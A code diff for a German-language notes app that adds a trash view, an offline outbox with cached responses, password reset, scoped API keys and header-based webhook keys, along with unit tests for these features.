@@ -36,6 +32,7 @@ import {
TagDetails,
TagSummary,
Team,
TrashedDocument,
UnifiedShare,
User,
} from '../../lib/types';
@@ -43,16 +40,14 @@ import {
api,
onWebSocketMessage,
triggerHaptic,
onRealtimeStatus,
isRealtimeConnected,
getRealtimeTransport,
RealtimeTransport,
} from '../../lib/api';
import { UnifiedShareModal } from '../../components/UnifiedShareModal';
import { FormSheet } from '../../components/FormSheet';
import { sendDocOps } from '../../lib/docSync/oneoff';
import { useMobileActions } from '../../context/MobileActionContext';
import { DocumentEditor, DocSaveStatus } from './DocumentEditor';
import { TrashView } from './TrashView';
import { CountBadge } from '../../components/CountBadge';
import { extractHashtags } from '../../lib/hashtags';
interface WorkspaceViewProps {
@@ -61,9 +56,11 @@ interface WorkspaceViewProps {
initialBlockId?: string | null;
onStatsChange: () => void;
onOpenTask?: (taskId: string) => void;
// Opens the global search (command palette); the notes sidebar has no search of its own
onOpenSearch?: () => void;
}
type WorkspaceSubView = 'editor' | 'tag_detail' | 'todos' | 'tags';
type WorkspaceSubView = 'editor' | 'tag_detail' | 'todos' | 'tags' | 'trash';
interface FolderTreeNode {
name: string;
@@ -279,6 +276,7 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
initialBlockId,
onStatsChange,
onOpenTask,
onOpenSearch,
}) => {
const [docs, setDocs] = useState<Document[]>([]);
const [folders, setFolders] = useState<string[]>([]);
@@ -307,13 +305,21 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
const [targetBlockId, setTargetBlockId] = useState<string | null>(initialBlockId || null);
const [newlyCreatedDocId, setNewlyCreatedDocId] = useState<string | null>(null);
const [subView, setSubView] = useState<WorkspaceSubView>('editor');
const [trash, setTrash] = useState<TrashedDocument[]>([]);
// Bumped after a restore so the open editor reloads the note without the trash banner
const [editorNonce, setEditorNonce] = useState(0);
const reloadTrash = useCallback(() => {
api.getTrash().then(setTrash).catch(() => {});
}, []);
useEffect(() => {
reloadTrash();
}, [reloadTrash]);
const [selectedTag, setSelectedTag] = useState<string | null>(null);
const [tagDetails, setTagDetails] = useState<TagDetails | null>(null);
const [tagNoteDraft, setTagNoteDraft] = useState<string>('');
const [tagSearchQuery, setTagSearchQuery] = useState<string>('');
const [tagSortBy, setTagSortBy] = useState<'count' | 'name'>('count');
const [searchQuery, setSearchQuery] = useState<string>('');
const [expandedFolders, setExpandedFolders] = useState<Record<string, boolean>>(() => {
try {
const saved = localStorage.getItem('mindsift:workspace_expanded_folders');
@@ -333,7 +339,6 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
const [newFolderCoords, setNewFolderCoords] = useState<{ x: number; y: number } | null>(null);
const [newFolderParentPath, setNewFolderParentPath] = useState<string>('');
const [newFolderName, setNewFolderName] = useState<string>('');
const [newFolderIsShared, setNewFolderIsShared] = useState<boolean>(false);
const handleOpenNewFolder = (parentPath = '', e?: React.MouseEvent) => {
setNewFolderParentPath(parentPath);
@@ -367,19 +372,9 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
});
}, []);
// Realtime connection status for top header indicator (identical to SharedListsView)
const [realtimeConnected, setRealtimeConnected] = useState<boolean>(() => isRealtimeConnected());
const [realtimeTransport, setRealtimeTransport] = useState<RealtimeTransport>(() => getRealtimeTransport());
const [docSaveStatus, setDocSaveStatus] = useState<DocSaveStatus>('saved');
const [docSaveError, setDocSaveError] = useState<string | null>(null);
useEffect(() => {
const unsub = onRealtimeStatus((connected, transport) => {
setRealtimeConnected(connected);
setRealtimeTransport(transport);
});
return unsub;
}, []);
// Drag and Drop state
const [draggingDocId, setDraggingDocId] = useState<string | null>(null);
@@ -466,14 +461,16 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
const delId = msg.payload.id as string;
setDocs((prev) => prev.filter((d) => d.id !== delId));
setSelectedDocId((prev) => (prev === delId ? null : prev));
reloadTrash();
} else if (msg.event === 'WORKSPACE_FOLDERS_UPDATED') {
api.getFolders().then(setFolders).catch(() => {});
api.getSharedFolders().then(setSharedFolders).catch(() => {});
api.getDocuments().then(setDocs).catch(() => {});
reloadTrash();
}
});
return unsub;
}, [currentUser]);
}, [currentUser, reloadTrash]);
const handleCreateDocument = useCallback(
async (folderPath = '') => {
@@ -524,6 +521,12 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
setMobileShowDetail(true);
}, []);
const openTrash = useCallback(() => {
reloadTrash();
setSubView('trash');
setMobileShowDetail(true);
}, [reloadTrash]);
// Register mobile FAB actions
useEffect(() => {
setPrimaryAction(() => handleCreateDocument(''));
@@ -545,6 +548,13 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
icon: <FolderPlus className="w-4 h-4" />,
onClick: () => setShowNewFolderModal(true),
},
{
id: 'trash',
label: 'Papierkorb',
icon: <Trash2 className="w-4 h-4" />,
badge: trash.length,
onClick: openTrash,
},
],
},
]);
@@ -552,7 +562,7 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
setGroups([]);
setPrimaryAction(undefined);
};
}, [handleCreateDocument, setGroups, setPrimaryAction]);
}, [handleCreateDocument, setGroups, setPrimaryAction, trash.length, openTrash]);
const handleDeleteDocument = useCallback(
async (docId: string) => {
@@ -567,13 +577,47 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
});
setMobileShowDetail(false);
onStatsChange();
reloadTrash();
} catch {
// ignore
}
},
[onStatsChange, selectedDocId]
[onStatsChange, selectedDocId, reloadTrash]
);
const handleOpenTrashedDoc = (docId: string) => {
setSelectedDocId(docId);
setTargetBlockId(null);
setNewlyCreatedDocId(null);
setSubView('editor');
setMobileShowDetail(true);
};
const handleRestoreDocument = useCallback(
async (docId: string) => {
await api.restoreDocument(docId);
const [freshDocs, freshFolders] = await Promise.all([api.getDocuments(), api.getFolders()]);
setDocs(freshDocs);
setFolders(freshFolders);
setEditorNonce((n) => n + 1);
reloadTrash();
onStatsChange();
},
[reloadTrash, onStatsChange]
);
const handlePurgeDocument = async (docId: string) => {
await api.purgeDocument(docId);
if (selectedDocId === docId) setSelectedDocId(null);
reloadTrash();
};
const handleEmptyTrash = async () => {
await api.emptyTrash();
if (selectedDocId && trash.some((t) => t.id === selectedDocId)) setSelectedDocId(null);
reloadTrash();
};
const handleDocMetadataChange = useCallback((updated: Document) => {
setDocs((prev) => prev.map((d) => (d.id === updated.id ? { ...d, ...updated } : d)));
}, []);
@@ -615,6 +659,7 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
}
}
onStatsChange();
reloadTrash();
} catch {
// ignore
}
@@ -806,17 +851,6 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
return Array.from(set).sort();
}, [docs, folders, sharedFolders]);
const filteredDocs = useMemo(() => {
const q = searchQuery.trim().toLowerCase();
if (!q) return docs;
return docs.filter(
(d) =>
d.title.toLowerCase().includes(q) ||
(d.content && d.content.toLowerCase().includes(q)) ||
(d.tags && d.tags.some((t) => t.toLowerCase().includes(q)))
);
}, [docs, searchQuery]);
const folderTree = useMemo(() => {
const rootNodes: FolderTreeNode[] = [];
const nodeMap = new Map<string, FolderTreeNode>();
@@ -844,7 +878,7 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
const sharedFolderObj = sharedFolders.find(
(sf) => sf.mountPath === p || sf.name === p
);
const folderDocs = filteredDocs.filter((d) => d.folderPath === p);
const folderDocs = docs.filter((d) => d.folderPath === p);
const node: FolderTreeNode = {
name: leafName,
@@ -869,16 +903,16 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
}
return rootNodes;
}, [allFolderPaths, filteredDocs, sharedFolders]);
}, [allFolderPaths, docs, sharedFolders]);
const pinnedDocs = useMemo(
() => filteredDocs.filter((d) => d.isPinned),
[filteredDocs]
() => docs.filter((d) => d.isPinned),
[docs]
);
const rootDocs = useMemo(
() => filteredDocs.filter((d) => !d.folderPath),
[filteredDocs]
() => docs.filter((d) => !d.folderPath),
[docs]
);
// Global To-Dos rollup collections
@@ -907,22 +941,6 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
return map;
}, [allRollupTodos]);
const rollupTodosByNote = useMemo(() => {
const map = new Map<
string,
{ doc: Document; items: { doc: Document; blockId: string; content: string; checked: boolean }[] }
>();
for (const item of allRollupTodos) {
const existing = map.get(item.doc.id);
if (existing) {
existing.items.push(item);
} else {
map.set(item.doc.id, { doc: item.doc, items: [item] });
}
}
return map;
}, [allRollupTodos]);
const totalOpenTodos = useMemo(() => {
let count = 0;
for (const d of docs) {
@@ -1161,7 +1179,6 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
>
<FileText className="w-3.5 h-3.5 text-accent" />
<span>Notizen</span>
{docs.length > 0 && <span className="ml-1 badge-neutral text-[10px]">{docs.length}</span>}
</button>
<button
@@ -1177,8 +1194,10 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
}`}
>
<Check className="w-3.5 h-3.5 text-status-ok" />
<span>To-Dos</span>
{totalOpenTodos > 0 && <span className="ml-1 badge-neutral text-[10px]">{totalOpenTodos}</span>}
<span className={`relative inline-flex items-center ${totalOpenTodos > 0 ? 'pr-3' : ''}`}>
To-Dos
<CountBadge count={totalOpenTodos} position="corner" className="-top-0.5 -right-2" />
</span>
</button>
<button
@@ -1194,8 +1213,10 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
}`}
>
<Hash className="w-3.5 h-3.5 text-accent" />
<span>Hashtags</span>
{tagsSummary.length > 0 && <span className="ml-1 badge-neutral text-[10px]">{tagsSummary.length}</span>}
<span className={`relative inline-flex items-center ${tagsSummary.length > 0 ? 'pr-3' : ''}`}>
Hashtags
<CountBadge count={tagsSummary.length} position="corner" className="-top-0.5 -right-2" />
</span>
</button>
</div>
@@ -1257,7 +1278,7 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
{/* LEFT MASTER SIDEBAR */}
<aside
className={`${
subView !== 'editor' || isSidebarCollapsed
(subView !== 'editor' && subView !== 'trash') || isSidebarCollapsed
? 'hidden'
: mobileShowDetail
? 'hidden lg:flex'
@@ -1292,32 +1313,25 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
</div>
</div>
{/* Search Input */}
<div className="relative">
<Search className="w-3.5 h-3.5 text-faint absolute left-2.5 top-1/2 -translate-y-1/2" />
<input
type="text"
value={searchQuery}
onChange={(e) => setSearchQuery(e.target.value)}
placeholder="Notizen oder #Tags suchen…"
className="input-field w-full pl-8 pr-6 py-1 text-xs"
/>
{searchQuery && (
<button
type="button"
onClick={() => setSearchQuery('')}
className="absolute right-2 top-1/2 -translate-y-1/2 text-faint hover:text-main"
>
<X className="w-3.5 h-3.5" />
</button>
)}
</div>
{/* Opens the global full-text search, which also finds the content of every bullet */}
{onOpenSearch && (
<button
type="button"
onClick={onOpenSearch}
className="input-field w-full h-11 sm:h-7 px-2.5 flex items-center gap-2 text-xs text-faint hover:text-main cursor-pointer"
title="Globale Suche (Strg+K / ⌘K oder /)"
>
<Search className="w-3.5 h-3.5 shrink-0" />
<span className="flex-1 text-left truncate">Notizen durchsuchen…</span>
<span className="hidden sm:inline font-mono text-[10px]">⌘K</span>
</button>
)}
</div>
{/* Scrollable Navigation Tree */}
<div className="flex-1 overflow-y-auto p-2 space-y-3">
{/* Pinned Notes */}
{pinnedDocs.length > 0 && !searchQuery && (
{pinnedDocs.length > 0 && (
<div>
<div className="px-2 mb-1 flex items-center gap-1 text-[10px] font-bold uppercase tracking-wider text-faint">
<Pin className="w-3 h-3 text-status-warn" />
@@ -1469,6 +1483,23 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
</div>
)}
</div>
{/* Trash at the bottom of the tree */}
<div className="p-2 border-t border-border shrink-0">
<button
type="button"
onClick={openTrash}
className={`w-full flex items-center gap-2 px-2 h-11 sm:h-8 rounded-btn text-xs border transition-colors cursor-pointer ${
subView === 'trash'
? 'bg-panel-elevated text-main font-semibold border-border/80'
: 'border-transparent text-muted hover:text-main hover:bg-panel-elevated'
}`}
>
<Trash2 className="w-3.5 h-3.5" />
<span className="flex-1 text-left">Papierkorb</span>
<CountBadge count={trash.length} />
</button>
</div>
</aside>
{/* RIGHT DETAIL AREA (STRICTLY ISOLATED BY KEY) */}
@@ -1477,9 +1508,21 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
subView !== 'editor' || mobileShowDetail || isSidebarCollapsed ? 'flex' : 'hidden lg:flex'
} flex-1 flex-col min-w-0 h-full overflow-hidden bg-canvas`}
>
{subView === 'editor' && selectedDocId ? (
{subView === 'trash' ? (
<TrashView
items={trash}
onOpen={handleOpenTrashedDoc}
onRestore={handleRestoreDocument}
onPurge={handlePurgeDocument}
onEmpty={handleEmptyTrash}
onBackMobile={() => {
setSubView('editor');
setMobileShowDetail(false);
}}
/>
) : subView === 'editor' && selectedDocId ? (
<DocumentEditor
key={selectedDocId}
key={`${selectedDocId}:${editorNonce}`}
docId={selectedDocId}
currentUser={currentUser}
initialDoc={selectedDocObj}
@@ -1488,9 +1531,11 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
initialFocusedBlockId={targetBlockId}
onDocMetadataChange={handleDocMetadataChange}
onDeleteDoc={handleDeleteDocument}
onRestoreDoc={handleRestoreDocument}
onOpenShareModal={openDocShareModal}
onSelectTag={handleSelectTag}
onWikiLinkClick={handleWikiLinkClick}
onOpenDocBlock={handleJumpToDocBlock}
onBackMobile={() => setMobileShowDetail(false)}
onOpenTask={onOpenTask}
onSaveStatusChange={(status, err) => {
@@ -0,0 +1,30 @@
import { describe, it, expect, vi } from 'vitest';
import { render, screen, fireEvent, act } from '@testing-library/react';
import { TrashView } from '../TrashView';
const items = [
{ id: 'doc_1', title: 'Urlaub', icon: '🏔️', folderPath: 'Privat', deletedAt: '2026-10-29T08:00:00Z', isOwner: true },
];
describe('TrashView', () => {
it('deletes for good only on the second tap', async () => {
const onPurge = vi.fn(async () => {});
render(<TrashView items={items} onOpen={vi.fn()} onRestore={vi.fn(async () => {})} onPurge={onPurge} onEmpty={vi.fn(async () => {})} onBackMobile={vi.fn()} />);
fireEvent.click(screen.getByText('Endgültig löschen'));
expect(onPurge).not.toHaveBeenCalled();
await act(async () => {
fireEvent.click(screen.getByText('Wirklich löschen?'));
});
expect(onPurge).toHaveBeenCalledWith('doc_1');
});
it('restores with one tap and shows the original folder', async () => {
const onRestore = vi.fn(async () => {});
render(<TrashView items={items} onOpen={vi.fn()} onRestore={onRestore} onPurge={vi.fn(async () => {})} onEmpty={vi.fn(async () => {})} onBackMobile={vi.fn()} />);
expect(screen.getByText('Privat')).toBeTruthy();
await act(async () => {
fireEvent.click(screen.getByText('Wiederherstellen'));
});
expect(onRestore).toHaveBeenCalledWith('doc_1');
});
});
+8
View File
@@ -13,6 +13,8 @@
@import './themes/theme-light.css';
@import './themes/theme-high-contrast.css';
@import './themes/theme-soft.css';
@import './themes/theme-polarized.css';
@import './themes/theme-suri.css';
@tailwind base;
@tailwind components;
@@ -78,6 +80,12 @@ body {
border-radius: var(--radius-card);
}
/* An explicit rounded-full (round icon buttons, avatars) wins over the theme radius above */
.bg-panel.border.rounded-full,
.bg-canvas.border.rounded-full {
border-radius: 9999px;
}
/* Quick-Capture-Blase im Header (immer vollständig abgerundet) */
.capture-pill,
.capture-pill.bg-panel.border {
+30
View File
@@ -0,0 +1,30 @@
import { describe, it, expect } from 'vitest';
import { formatDue, isOverdue, isDueToday, joinDue, splitDue } from '../due';
const now = new Date(2026, 9, 29, 14, 0); // Thu 29.10.2026, 14:00 local
describe('due dates', () => {
it('splits and joins date and time', () => {
expect(splitDue('2026-10-30T14:30')).toEqual({ date: '2026-10-30', time: '14:30' });
expect(splitDue('2026-10-30')).toEqual({ date: '2026-10-30', time: '' });
expect(joinDue('2026-10-30', '09:15')).toBe('2026-10-30T09:15');
expect(joinDue('2026-10-30', '')).toBe('2026-10-30');
expect(joinDue('', '09:15')).toBe('');
});
it('formats relative to today', () => {
expect(formatDue('2026-10-29T14:30', now)).toBe('Heute, 14:30');
expect(formatDue('2026-10-30', now)).toBe('Morgen');
expect(formatDue('2026-10-28', now)).toBe('Gestern');
expect(formatDue('2026-11-06T08:00', now)).toBe('Fr., 06.11., 08:00');
expect(formatDue('2027-01-02', now)).toBe('02.01.2027');
});
it('knows overdue to the minute', () => {
expect(isOverdue('2026-10-29T13:59', now)).toBe(true);
expect(isOverdue('2026-10-29T14:30', now)).toBe(false);
expect(isOverdue('2026-10-29', now)).toBe(false);
expect(isOverdue('2026-10-28', now)).toBe(true);
expect(isDueToday('2026-10-29T08:00', now)).toBe(true);
});
});
@@ -0,0 +1,49 @@
import { describe, it, expect, beforeEach } from 'vitest';
import { enqueue, flushOutbox, getOutbox, isCacheablePath } from '../offline';
const res = (status: number) => ({ status, ok: status >= 200 && status < 300 }) as Response;
describe('outbox', () => {
beforeEach(() => localStorage.clear());
it('keeps only the last state of repeated toggles', () => {
enqueue('PATCH', '/api/v1/thoughts/t1', { isCompleted: true });
enqueue('POST', '/api/v1/inbox', { content: 'Milch' });
enqueue('PATCH', '/api/v1/thoughts/t1', { isCompleted: false });
const box = getOutbox();
expect(box).toHaveLength(2);
expect(box[0].body).toEqual({ isCompleted: false });
});
it('takes over thoughts captured offline by older versions', () => {
localStorage.setItem(
'mindsift_offline_capture_queue',
JSON.stringify([{ id: 'th_offline_1', content: 'Alt', priority: 'normal', source: 'manual', createdAt: '2026-10-29T08:00:00Z' }])
);
const box = getOutbox();
expect(box).toHaveLength(1);
expect(box[0].path).toBe('/api/v1/inbox');
expect(localStorage.getItem('mindsift_offline_capture_queue')).toBeNull();
});
it('sends in order, drops rejected entries and stops while offline', async () => {
enqueue('POST', '/api/v1/inbox', { content: 'a' });
enqueue('PATCH', '/api/v1/lists/l/items/i', { isCompleted: true });
enqueue('POST', '/api/v1/inbox', { content: 'c' });
const answers = [res(201), res(404)];
const synced = await flushOutbox(async () => {
const next = answers.shift();
if (!next) throw new TypeError('offline');
return next;
});
expect(synced).toBe(1);
expect(getOutbox().map((e) => e.body.content)).toEqual(['c']);
});
it('does not cache streams, note sync or downloads', () => {
expect(isCacheablePath('/api/v1/thoughts?status=all')).toBe(true);
expect(isCacheablePath('/api/v1/events')).toBe(false);
expect(isCacheablePath('/api/v1/docs/d1/changes?since=3')).toBe(false);
expect(isCacheablePath('/api/v1/export/markdown')).toBe(false);
});
});
@@ -0,0 +1,11 @@
import { describe, it, expect } from 'vitest';
import { passwordProblem } from '../password';
describe('passwordProblem (same rule as the server)', () => {
it('needs 8 characters, counted as characters', () => {
expect(passwordProblem('kurz')).toMatch(/mindestens 8 Zeichen/);
expect(passwordProblem(' ')).toMatch(/mindestens 8 Zeichen/);
expect(passwordProblem('geheim12')).toBeNull();
expect(passwordProblem('äöüßäöüß')).toBeNull();
});
});
+13 -5
View File
@@ -62,7 +62,7 @@ describe('realtime fallback', () => {
vi.stubGlobal('EventSource', FakeEventSource);
sessionStorage.clear();
localStorage.setItem('mindsift_jwt_token', 'test-token');
vi.stubGlobal('fetch', vi.fn(async () => new Response('{}', { status: 200 })));
vi.stubGlobal('fetch', vi.fn(async () => new Response('{"ticket":"t1"}', { status: 200 })));
});
afterEach(() => {
vi.useRealTimers();
@@ -73,7 +73,7 @@ describe('realtime fallback', () => {
const api = await loadApi();
const states: string[] = [];
api.onRealtimeStatus((connected, transport) => states.push(`${connected}:${transport}`));
api.connectWebSocket();
await api.connectWebSocket();
FakeWebSocket.instances[0].open();
expect(api.getRealtimeTransport()).toBe('ws');
@@ -87,9 +87,17 @@ describe('realtime fallback', () => {
api.disconnectWebSocket();
});
it('connects with a one-time ticket, never with the session token in the URL', async () => {
const api = await loadApi();
await api.connectWebSocket();
expect(FakeWebSocket.instances[0].url).toContain('ticket=t1');
expect(FakeWebSocket.instances[0].url).not.toContain('test-token');
api.disconnectWebSocket();
});
it('a WebSocket answering PONG stays in use', async () => {
const api = await loadApi();
api.connectWebSocket();
await api.connectWebSocket();
const ws = FakeWebSocket.instances[0];
ws.open();
for (let i = 0; i < 6; i++) {
@@ -104,7 +112,7 @@ describe('realtime fallback', () => {
it('SSE only counts as connected once the first event arrives', async () => {
sessionStorage.setItem('mindsift_ws_blocked', 'true');
const api = await loadApi();
api.connectWebSocket();
await api.connectWebSocket();
const es = FakeEventSource.instances[0];
es.open();
expect(api.isRealtimeConnected()).toBe(false);
@@ -118,7 +126,7 @@ describe('realtime fallback', () => {
it('a buffering proxy (stream opens, no events) switches SSE off for this tab', async () => {
sessionStorage.setItem('mindsift_ws_blocked', 'true');
const api = await loadApi();
api.connectWebSocket();
await api.connectWebSocket();
const es = FakeEventSource.instances[0];
es.open();
await vi.advanceTimersByTimeAsync(5_500);
+12
View File
@@ -52,4 +52,16 @@ describe('custom themes', () => {
expect(opt.previewAccent).toBe('#15803d');
expect(opt.isRounded).toBe(true);
});
it('supports polarized and suri built-in dark themes', () => {
setActiveTheme('polarized');
expect(getActiveTheme()).toBe('polarized');
expect(document.documentElement.getAttribute('data-theme')).toBe('polarized');
expect(document.documentElement.classList.contains('dark')).toBe(true);
setActiveTheme('suri');
expect(getActiveTheme()).toBe('suri');
expect(document.documentElement.getAttribute('data-theme')).toBe('suri');
expect(document.documentElement.classList.contains('dark')).toBe(true);
});
});
+222 -100
View File
@@ -3,6 +3,11 @@ import {
AuthStatus,
DashboardStats,
Document,
TrashedDocument,
BackupFile,
DataSection,
ApiKeyScope,
Backlink,
DocumentBlock,
DocShare,
KanbanColumn,
@@ -14,7 +19,6 @@ import {
SharedFolder,
FolderShare,
Space,
SpaceMember,
SpaceShare,
SystemSettings,
SharingMode,
@@ -33,9 +37,18 @@ import {
WSMessage,
} from './types';
import { extractHashtags } from './hashtags';
import {
OfflineError,
isOffline,
isCacheablePath,
readCached,
writeCached,
clearOfflineData,
enqueue,
flushOutbox,
} from './offline';
const TOKEN_STORAGE_KEY = 'mindsift_jwt_token';
const OFFLINE_QUEUE_KEY = 'mindsift_offline_capture_queue';
export function getToken(): string | null {
return localStorage.getItem(TOKEN_STORAGE_KEY);
@@ -60,6 +73,8 @@ export function setToken(token: string): void {
export function clearToken(): void {
localStorage.removeItem(TOKEN_STORAGE_KEY);
// Cached answers and unsent changes belong to the account that just left
void clearOfflineData();
}
export function triggerHaptic(pattern: number | number[] = 15): void {
@@ -78,6 +93,15 @@ function ensureArray<T>(val: T[] | null | undefined): T[] {
async function request<T>(path: string, options: RequestInit = {}): Promise<T> {
const token = getToken();
const method = (options.method || 'GET').toUpperCase();
const cacheable = method === 'GET' && isCacheablePath(path);
const userKey = getCurrentUserId() || 'anon';
// Known to be offline: answer from the cache right away instead of waiting for the timeout
if (cacheable && isOffline()) {
const cached = await readCached<T>(userKey, path);
if (cached !== undefined) return cached;
}
const headers: Record<string, string> = {
'Content-Type': 'application/json',
'Cache-Control': 'no-cache',
@@ -99,6 +123,13 @@ async function request<T>(path: string, options: RequestInit = {}): Promise<T> {
cache: 'no-store',
signal: controller.signal,
});
} catch {
// No HTTP answer at all (offline, server down, timeout): fall back to the last known answer
if (cacheable) {
const cached = await readCached<T>(userKey, path);
if (cached !== undefined) return cached;
}
throw new OfflineError();
} finally {
window.clearTimeout(timeoutId);
}
@@ -125,7 +156,20 @@ async function request<T>(path: string, options: RequestInit = {}): Promise<T> {
throw new Error(errMsg);
}
return res.json();
const data = await res.json();
if (cacheable) writeCached(userKey, path, data);
return data;
}
// Sends a queued outbox entry with the current token (no timeout, no cache)
function sendOutboxEntry(entry: { method: string; path: string; body: Record<string, unknown> }): Promise<Response> {
const token = getToken();
return fetch(entry.path, {
method: entry.method,
headers: { 'Content-Type': 'application/json', ...(token ? { Authorization: `Bearer ${token}` } : {}) },
body: JSON.stringify(entry.body),
cache: 'no-store',
});
}
// Server-wide sharing mode from /auth/status; in private mode the UI hides sharing and groups
@@ -186,6 +230,15 @@ export const api = {
return res;
},
// Public: always the same answer, whether the address exists or not
async requestPasswordReset(email: string): Promise<void> {
await request('/api/v1/auth/forgot-password', { method: 'POST', body: JSON.stringify({ email }) });
},
async resetPassword(token: string, password: string): Promise<void> {
await request('/api/v1/auth/reset-password', { method: 'POST', body: JSON.stringify({ token, password }) });
},
async login(loginOrEmail: string, password: string): Promise<{ token: string; user: User }> {
const res = await request<{ token: string; user: User }>('/api/v1/auth/login', {
method: 'POST',
@@ -261,26 +314,24 @@ export const api = {
taskListId?: string;
}
): Promise<Thought> {
const body = {
content,
priority,
source,
dueDate,
target: options?.target || 'inbox',
targetListId: options?.targetListId || '',
taskListId: options?.taskListId || '',
};
try {
const thought = await request<Thought>('/api/v1/inbox', {
method: 'POST',
body: JSON.stringify({
content,
priority,
source,
dueDate,
target: options?.target || 'inbox',
targetListId: options?.targetListId || '',
taskListId: options?.taskListId || '',
}),
});
return thought;
} catch {
// Queue locally if offline
const queue = getOfflineQueue();
const offlineThought: Thought = {
id: `th_offline_${Date.now()}`,
userId: 'offline',
return await request<Thought>('/api/v1/inbox', { method: 'POST', body: JSON.stringify(body) });
} catch (err) {
if (!(err instanceof OfflineError)) throw err;
// Kept in the outbox and sent when the connection is back
const entry = enqueue('POST', '/api/v1/inbox', body);
return {
id: `th_offline_${entry.id}`,
userId: getCurrentUserId() || 'offline',
content,
tags: Array.from(new Set(extractHashtags(content))),
priority,
@@ -289,41 +340,15 @@ export const api = {
isCompleted: false,
dueDate,
taskListId: options?.taskListId || '',
createdAt: new Date().toISOString(),
createdAt: entry.createdAt,
};
queue.push(offlineThought);
localStorage.setItem(OFFLINE_QUEUE_KEY, JSON.stringify(queue));
return offlineThought;
}
},
/** Sends what was captured or checked off while offline; returns how many changes went through. */
async flushOfflineQueue(): Promise<number> {
const queue = getOfflineQueue();
if (queue.length === 0) return 0;
let synced = 0;
const remaining: Thought[] = [];
for (const item of queue) {
try {
await request<Thought>('/api/v1/inbox', {
method: 'POST',
body: JSON.stringify({
content: item.content,
priority: item.priority,
source: item.source,
dueDate: item.dueDate || '',
taskListId: item.taskListId || '',
}),
});
synced++;
} catch {
remaining.push(item);
}
}
localStorage.setItem(OFFLINE_QUEUE_KEY, JSON.stringify(remaining));
return synced;
if (!getToken()) return 0;
return flushOutbox(sendOutboxEntry);
},
// --- THOUGHTS, TRIAGE & TASKS ---
@@ -393,10 +418,18 @@ export const api = {
recurrence?: string;
}
): Promise<Thought> {
return request<Thought>(`/api/v1/thoughts/${thoughtId}`, {
method: 'PATCH',
body: JSON.stringify(patch),
});
try {
return await request<Thought>(`/api/v1/thoughts/${thoughtId}`, {
method: 'PATCH',
body: JSON.stringify(patch),
});
} catch (err) {
// Checking a task off (or on) also works offline; other edits need the server
const onlyStatus = Object.keys(patch).every((k) => k === 'isCompleted' || k === 'kanbanStatus');
if (!(err instanceof OfflineError) || !onlyStatus) throw err;
enqueue('PATCH', `/api/v1/thoughts/${thoughtId}`, patch);
return { id: thoughtId, ...patch } as Thought;
}
},
async deleteThought(thoughtId: string): Promise<void> {
@@ -647,10 +680,31 @@ export const api = {
});
},
/** Moves the note to the trash (owner) or leaves a shared note (others). */
async deleteDocument(id: string): Promise<void> {
await request(`/api/v1/documents/${id}`, { method: 'DELETE' });
},
async getBacklinks(id: string): Promise<Backlink[]> {
return request<Backlink[]>(`/api/v1/documents/${id}/backlinks`);
},
async getTrash(): Promise<TrashedDocument[]> {
return request<TrashedDocument[]>('/api/v1/documents/trash');
},
async restoreDocument(id: string): Promise<void> {
await request(`/api/v1/documents/${id}/restore`, { method: 'POST' });
},
async purgeDocument(id: string): Promise<void> {
await request(`/api/v1/documents/${id}/permanent`, { method: 'DELETE' });
},
async emptyTrash(): Promise<{ deleted: number }> {
return request<{ deleted: number }>('/api/v1/documents/trash', { method: 'DELETE' });
},
async moveDocument(id: string, folderPath: string): Promise<Document> {
const d = await request<Document>(`/api/v1/documents/${id}/move`, {
method: 'PUT',
@@ -821,10 +875,16 @@ export const api = {
},
async toggleListItem(listId: string, itemId: string, isCompleted?: boolean): Promise<ListItem> {
return request<ListItem>(`/api/v1/lists/${listId}/items/${itemId}`, {
method: 'PATCH',
body: JSON.stringify({ isCompleted }),
});
try {
return await request<ListItem>(`/api/v1/lists/${listId}/items/${itemId}`, {
method: 'PATCH',
body: JSON.stringify({ isCompleted }),
});
} catch (err) {
if (!(err instanceof OfflineError) || isCompleted === undefined) throw err;
enqueue('PATCH', `/api/v1/lists/${listId}/items/${itemId}`, { isCompleted });
return { id: itemId, listId, isCompleted } as ListItem;
}
},
async updateListItem(
@@ -1050,10 +1110,10 @@ export const api = {
return ensureArray(res);
},
async createAPIKey(name: string): Promise<APIKey> {
async createAPIKey(name: string, scopes: ApiKeyScope[]): Promise<APIKey> {
return request<APIKey>('/api/v1/keys', {
method: 'POST',
body: JSON.stringify({ name }),
body: JSON.stringify({ name, scopes }),
});
},
@@ -1061,19 +1121,23 @@ export const api = {
await request(`/api/v1/keys/${id}`, { method: 'DELETE' });
},
/** Simulator: sends like an external system would, with the given key or else the own session. */
async testWebhookIngest(
token: string,
title: string,
priority: PriorityLevel,
tags: string[]
): Promise<{ status: string; thought: Thought }> {
return request<{ status: string; thought: Thought }>(
`/api/v1/webhooks/ingest?token=${encodeURIComponent(token)}`,
{
method: 'POST',
body: JSON.stringify({ title, priority, tags }),
}
);
apiKey: string | null,
payload: {
title: string;
priority?: PriorityLevel;
tags?: string[];
target?: 'triage' | 'task' | 'list_item';
taskListId?: string;
listId?: string;
}
): Promise<{ status: string }> {
return request<{ status: string }>('/api/v1/webhooks/ingest', {
method: 'POST',
headers: apiKey ? { 'X-API-Key': apiKey } : {},
body: JSON.stringify(payload),
});
},
async searchAll(q: string): Promise<SearchResults> {
@@ -1093,7 +1157,8 @@ export const api = {
